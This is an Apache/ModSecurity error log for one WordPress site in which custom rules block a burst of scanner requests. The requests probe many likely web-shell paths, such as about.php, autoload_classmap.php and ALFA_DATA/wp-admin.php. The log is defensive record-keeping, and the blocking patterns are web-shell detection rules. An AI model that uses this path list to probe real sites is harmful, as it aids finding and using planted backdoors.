[Sun Nov 23 08:59:35.823841 2025] [:error] [pid 44652:tid 44730] [client 85.203.21.201:52657] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aSJcd9iQFwsyXQDhwyAOjAAAARg"]
[Sun Nov 23 08:59:36.015651 2025] [:error] [pid 44652:tid 44708] [client 85.203.21.197:41201] [client 85.203.21.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-title/about.php"] [unique_id "aSJceNiQFwsyXQDhwyAOjQAAAQI"]
[Sun Nov 23 08:59:36.208813 2025] [:error] [pid 44652:tid 44727] [client 85.203.21.222:44187] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/covr-wpcom/assets/fonts/manrope.php"] [unique_id "aSJceNiQFwsyXQDhwyAOjwAAARU"]
[Sun Nov 23 08:59:36.395531 2025] [:error] [pid 44652:tid 44713] [client 85.203.21.226:39485] [client 85.203.21.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/wptextpattern/about.php"] [unique_id "aSJceNiQFwsyXQDhwyAOkQAAAQc"]
[Sun Nov 23 08:59:36.670356 2025] [:error] [pid 38740:tid 38804] [client 85.203.21.193:21061] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aSJceA13QPZSi6O8umXc2AAAAIg"]
[Sun Nov 23 08:59:36.920493 2025] [:error] [pid 38738:tid 38757] [client 85.203.21.201:33519] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/site-tagline/"] [unique_id "aSJceAytc6TL9XavPmMb8QAAAA8"]
[Sun Nov 23 08:59:38.396786 2025] [:error] [pid 38738:tid 38765] [client 85.203.21.206:34451] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-login.php"] [unique_id "aSJcegytc6TL9XavPmMb9AAAABc"]
[Sun Nov 23 08:59:38.584097 2025] [:error] [pid 44652:tid 44719] [client 85.203.21.54:28801] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/twentytwentythree/"] [unique_id "aSJcetiQFwsyXQDhwyAOlAAAAQ0"]
[Sun Nov 23 08:59:38.831725 2025] [:error] [pid 38738:tid 38752] [client 85.203.21.228:30107] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/class.php"] [unique_id "aSJcegytc6TL9XavPmMb9gAAAAo"]
[Sun Nov 23 08:59:39.144094 2025] [:error] [pid 38739:tid 38772] [client 193.37.32.3:33637] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aSJcewdvEgJm2n2cDmplsAAAAEM"]
[Sun Nov 23 08:59:39.335438 2025] [:error] [pid 38739:tid 38790] [client 85.203.21.190:22835] [client 85.203.21.190] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/wp-conflg.php"] [unique_id "aSJcewdvEgJm2n2cDmplsQAAAFU"]
[Sun Nov 23 08:59:39.583651 2025] [:error] [pid 38739:tid 38779] [client 85.203.21.227:65305] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/update/function.php"] [unique_id "aSJcewdvEgJm2n2cDmplsgAAAEo"]
[Sun Nov 23 08:59:39.811127 2025] [:error] [pid 38738:tid 38743] [client 85.203.21.54:41573] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/akismet/_inc/img/about.php"] [unique_id "aSJcewytc6TL9XavPmMb-AAAAAE"]
[Sun Nov 23 08:59:40.053307 2025] [:error] [pid 38738:tid 38755] [client 85.203.21.161:27889] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/spacer/about.php"] [unique_id "aSJcfAytc6TL9XavPmMb-QAAAA0"]
[Sun Nov 23 08:59:40.263334 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.184:55961] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSJcfAdvEgJm2n2cDmpltAAAAEg"]
[Sun Nov 23 08:59:40.541694 2025] [:error] [pid 38740:tid 38796] [client 85.203.21.161:46141] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aSJcfA13QPZSi6O8umXc4QAAAIA"]
[Sun Nov 23 08:59:40.853975 2025] [:error] [pid 38740:tid 38815] [client 85.203.21.186:59555] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/comments-pagination/"] [unique_id "aSJcfA13QPZSi6O8umXc4wAAAJM"]
[Sun Nov 23 08:59:41.214051 2025] [:error] [pid 38740:tid 38807] [client 85.203.21.183:57151] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/public_html/404.php"] [unique_id "aSJcfQ13QPZSi6O8umXc5QAAAIs"]
[Sun Nov 23 08:59:41.444901 2025] [:error] [pid 38740:tid 38800] [client 85.203.21.176:48713] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/database.php"] [unique_id "aSJcfQ13QPZSi6O8umXc6AAAAIQ"]
[Sun Nov 23 08:59:41.667453 2025] [:error] [pid 44652:tid 44728] [client 85.203.21.155:50685] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/wp-trackback.php"] [unique_id "aSJcfdiQFwsyXQDhwyAOlwAAARY"]
[Sun Nov 23 08:59:41.864659 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.223:24271] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/elish.php"] [unique_id "aSJcfQytc6TL9XavPmMb_gAAAAQ"]
[Sun Nov 23 08:59:42.180643 2025] [:error] [pid 38739:tid 38788] [client 85.203.21.170:64377] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/languages/enum.php"] [unique_id "aSJcfgdvEgJm2n2cDmpltQAAAFM"]
[Sun Nov 23 08:59:42.393159 2025] [:error] [pid 38739:tid 38782] [client 85.203.21.188:63025] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSJcfgdvEgJm2n2cDmpltgAAAE0"]
[Sun Nov 23 08:59:43.730933 2025] [:error] [pid 38740:tid 38796] [client 85.203.21.204:57783] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/autoload_classmap.php"] [unique_id "aSJcfw13QPZSi6O8umXc7QAAAIA"]
[Sun Nov 23 08:59:43.933327 2025] [:error] [pid 38740:tid 38815] [client 85.203.21.193:53419] [client 85.203.21.193] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/script-modules/block-library/query/"] [unique_id "aSJcfw13QPZSi6O8umXc7gAAAJM"]
[Sun Nov 23 08:59:44.146762 2025] [:error] [pid 38739:tid 38777] [client 85.203.21.228:21879] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/wp-admin.php"] [unique_id "aSJcgAdvEgJm2n2cDmplvgAAAEg"]
[Sun Nov 23 08:59:44.461153 2025] [:error] [pid 38739:tid 38783] [client 85.203.21.238:31433] [client 85.203.21.238] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/popularfx/template-parts/"] [unique_id "aSJcgAdvEgJm2n2cDmplvwAAAE4"]
[Sun Nov 23 08:59:44.660748 2025] [:error] [pid 38739:tid 38792] [client 85.203.21.159:31325] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/about-cong.php"] [unique_id "aSJcgAdvEgJm2n2cDmplwgAAAFc"]
[Sun Nov 23 08:59:44.873075 2025] [:error] [pid 38739:tid 38769] [client 85.203.21.52:29703] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/development/"] [unique_id "aSJcgAdvEgJm2n2cDmplwwAAAEA"]
[Sun Nov 23 08:59:45.281192 2025] [:error] [pid 38739:tid 38786] [client 85.203.21.204:36063] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/Iitespeed-cache/157.php"] [unique_id "aSJcgQdvEgJm2n2cDmplxQAAAFE"]
[Sun Nov 23 08:59:45.480105 2025] [:error] [pid 38738:tid 38754] [client 85.203.21.223:60581] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp.php"] [unique_id "aSJcgQytc6TL9XavPmMcAQAAAAw"]
[Sun Nov 23 08:59:45.668349 2025] [:error] [pid 38738:tid 38766] [client 85.203.21.188:64007] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-rocket-config/"] [unique_id "aSJcgQytc6TL9XavPmMcAgAAABg"]
[Sun Nov 23 08:59:47.058962 2025] [:error] [pid 38738:tid 38747] [client 85.203.21.208:35275] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/list-reusable-blocks/"] [unique_id "aSJcgwytc6TL9XavPmMcBQAAAAU"]
[Sun Nov 23 08:59:47.282760 2025] [:error] [pid 38738:tid 38746] [client 85.203.21.155:58245] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aSJcgwytc6TL9XavPmMcBgAAAAQ"]
[Sun Nov 23 08:59:47.472164 2025] [:error] [pid 38739:tid 38776] [client 85.203.21.202:56721] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSJcgwdvEgJm2n2cDmplyQAAAEc"]
[Sun Nov 23 08:59:47.673828 2025] [:error] [pid 38739:tid 38770] [client 85.203.21.176:42849] [client 85.203.21.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/autoload_classmap.php"] [unique_id "aSJcgwdvEgJm2n2cDmplygAAAEE"]
[Sun Nov 23 08:59:48.089669 2025] [:error] [pid 38738:tid 38759] [client 85.203.21.168:46803] [client 85.203.21.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSJchAytc6TL9XavPmMcCAAAABE"]
[Sun Nov 23 08:59:48.474831 2025] [:error] [pid 44652:tid 44713] [client 85.203.21.45:44059] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSJchNiQFwsyXQDhwyAOmwAAAQc"]
[Sun Nov 23 08:59:48.670036 2025] [:error] [pid 44652:tid 44715] [client 85.203.21.207:65071] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aSJchNiQFwsyXQDhwyAOnAAAAQk"]
[Sun Nov 23 08:59:48.862424 2025] [:error] [pid 38824:tid 38830] [client 85.203.21.213:40475] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "aSJchE8WZjXLvbHTHPcNywAAAMM"]
[Sun Nov 23 08:59:49.231147 2025] [:error] [pid 38824:tid 38846] [client 85.203.21.202:52881] [client 85.203.21.202] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/images/autoload_classmap.php"] [unique_id "aSJchU8WZjXLvbHTHPcNzAAAANM"]
[Sun Nov 23 08:59:49.445526 2025] [:error] [pid 44652:tid 44729] [client 85.203.21.156:44069] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sama.php"] [unique_id "aSJchdiQFwsyXQDhwyAOnQAAARc"]
[Sun Nov 23 08:59:49.771357 2025] [:error] [pid 38740:tid 38802] [client 85.203.21.183:47021] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/library/about.php"] [unique_id "aSJchQ13QPZSi6O8umXc8QAAAIY"]
[Sun Nov 23 08:59:49.964211 2025] [:error] [pid 44652:tid 44716] [client 85.203.21.235:48567] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/"] [unique_id "aSJchdiQFwsyXQDhwyAOnwAAAQo"]
[Sun Nov 23 08:59:50.183003 2025] [:error] [pid 38739:tid 38778] [client 85.203.21.167:51911] [client 85.203.21.167] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/gosmtp/"] [unique_id "aSJchgdvEgJm2n2cDmplzgAAAEk"]
[Sun Nov 23 08:59:50.372496 2025] [:error] [pid 38738:tid 38766] [client 85.203.21.207:36105] [client 85.203.21.207] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/"] [unique_id "aSJchgytc6TL9XavPmMcCgAAABg"]
[Sun Nov 23 08:59:50.592671 2025] [:error] [pid 38824:tid 38839] [client 193.37.32.3:43119] [client 193.37.32.3] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/file/"] [unique_id "aSJchk8WZjXLvbHTHPcNzgAAAMw"]
[Sun Nov 23 08:59:51.058686 2025] [:error] [pid 38824:tid 38850] [client 85.203.21.54:63635] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/plex1.php"] [unique_id "aSJch08WZjXLvbHTHPcN0AAAANc"]
[Sun Nov 23 08:59:51.254926 2025] [:error] [pid 38738:tid 38750] [client 85.203.21.183:52393] [client 85.203.21.183] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/upgrade/mlex.php"] [unique_id "aSJchwytc6TL9XavPmMcCwAAAAg"]
[Sun Nov 23 08:59:51.449282 2025] [:error] [pid 38740:tid 38808] [client 85.203.21.161:42283] [client 85.203.21.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSJchw13QPZSi6O8umXc9gAAAIw"]
[Sun Nov 23 08:59:51.671806 2025] [:error] [pid 38738:tid 38742] [client 85.203.21.213:36785] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSJchwytc6TL9XavPmMcDAAAAAA"]
[Sun Nov 23 08:59:52.945343 2025] [:error] [pid 38738:tid 38762] [client 85.203.21.232:48121] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Noname6.php"] [unique_id "aSJciAytc6TL9XavPmMcDQAAABQ"]
[Sun Nov 23 08:59:53.250345 2025] [:error] [pid 38740:tid 38806] [client 85.203.21.54:64579] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/configYFW/about.php"] [unique_id "aSJciQ13QPZSi6O8umXc-AAAAIo"]
